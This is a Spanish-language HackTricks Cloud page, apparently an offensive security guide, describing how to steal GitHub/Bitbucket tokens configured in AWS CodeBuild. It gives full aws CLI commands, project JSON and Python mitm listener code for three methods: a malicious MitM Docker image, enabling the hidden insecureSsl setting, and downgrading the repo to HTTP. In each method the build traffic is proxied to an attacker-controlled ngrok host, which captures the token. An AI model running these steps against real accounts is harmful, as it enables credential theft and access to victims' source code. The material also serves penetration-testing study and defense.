AWS Codebuild - Token Leakage
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Recuperar Tokens Configurados de Github/Bitbucket
Primero, verifica si hay credenciales de origen configuradas que podrías filtrar:
aws codebuild list-source-credentials
A través de la imagen de Docker
Si encuentras que la autenticación, por ejemplo, en Github está configurada en la cuenta, puedes exfiltrar ese acceso (token de GH o token de OAuth) haciendo que Codebuild utilice una imagen de docker específica para ejecutar la construcción del proyecto.
Para este propósito, podrías crear un nuevo proyecto de Codebuild o cambiar el entorno de uno existente para establecer la imagen de Docker.
La imagen de Docker que podrías usar es https://github.com/carlospolop/docker-mitm. Esta es una imagen de Docker muy básica que establecerá las variables de entorno https_proxy, http_proxy y SSL_CERT_FILE. Esto te permitirá interceptar la mayor parte del tráfico del host indicado en https_proxy y http_proxy y confiar en el CERT SSL indicado en SSL_CERT_FILE.
- Crea y sube tu propia imagen de Docker MitM
- Sigue las instrucciones del repositorio para establecer tu dirección IP de proxy y configurar tu certificado SSL y construir la imagen de docker.
- NO CONFIGURES
http_proxypara no interceptar solicitudes al endpoint de metadatos. - Podrías usar
ngrokcomongrok tcp 4444para establecer el proxy en tu host. - Una vez que tengas la imagen de Docker construida, cárgala en un repositorio público (Dockerhub, ECR…)
- Configura el entorno
- Crea un nuevo proyecto de Codebuild o modifica el entorno de uno existente.
- Configura el proyecto para usar la imagen de Docker generada previamente.
.png)
- Configura el proxy MitM en tu host
- Como se indica en el repositorio de Github, podrías usar algo como:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
La versión de mitmproxy utilizada fue 9.0.1, se informó que con la versión 10 esto podría no funcionar.
- Ejecutar la construcción y capturar las credenciales
- Puedes ver el token en el encabezado Authorization:
.png)
Esto también se podría hacer desde aws cli con algo como
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Via insecureSSL
Codebuild projects tienen una configuración llamada insecureSsl que está oculta en la web y solo se puede cambiar desde la API.
Habilitar esto permite a Codebuild conectarse al repositorio sin verificar el certificado ofrecido por la plataforma.
- Primero necesitas enumerar la configuración actual con algo como:
aws codebuild batch-get-projects --name <proj-name>
- Luego, con la información recopilada, puedes actualizar la configuración del proyecto
insecureSslaTrue. El siguiente es un ejemplo de cómo actualicé un proyecto, nota elinsecureSsl=Trueal final (esto es lo único que necesitas cambiar de la configuración recopilada). - Además, agrega también las variables de entorno http_proxy y https_proxy apuntando a tu tcp ngrok como:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Luego, ejecuta el ejemplo básico de https://github.com/synchronizing/mitm en el puerto indicado por las variables del proxy (http_proxy y https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Finalmente, haz clic en Build the project, las credenciales serán enviadas en texto claro (base64) al puerto mitm:
 (1).png)
A través del protocolo HTTP
[!TIP] > Esta vulnerabilidad fue corregida por AWS en algún momento de la semana del 20 de febrero de 2023 (creo que el viernes). Así que un atacante ya no puede abusar de ella :)
Un atacante con permisos elevados en un CodeBuild podría filtrar el token de Github/Bitbucket configurado o si los permisos se configuraron a través de OAuth, el token temporal de OAuth utilizado para acceder al código.
- Un atacante podría agregar las variables de entorno http_proxy y https_proxy al proyecto de CodeBuild apuntando a su máquina (por ejemplo
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Luego, cambia la URL del repositorio de github para usar HTTP en lugar de HTTPS, por ejemplo:
http://github.com/carlospolop-forks/TestActions - Luego, ejecuta el ejemplo básico de https://github.com/synchronizing/mitm en el puerto señalado por las variables de proxy (http_proxy y https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- A continuación, haz clic en Build the project o inicia la construcción desde la línea de comandos:
aws codebuild start-build --project-name <proj-name>
- Finalmente, las credenciales se enviarán en texto claro (base64) al puerto mitm:
.png)
Warning
Ahora un atacante podrá usar el token desde su máquina, listar todos los privilegios que tiene y (ab)usar más fácilmente que usando el servicio CodeBuild directamente.
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

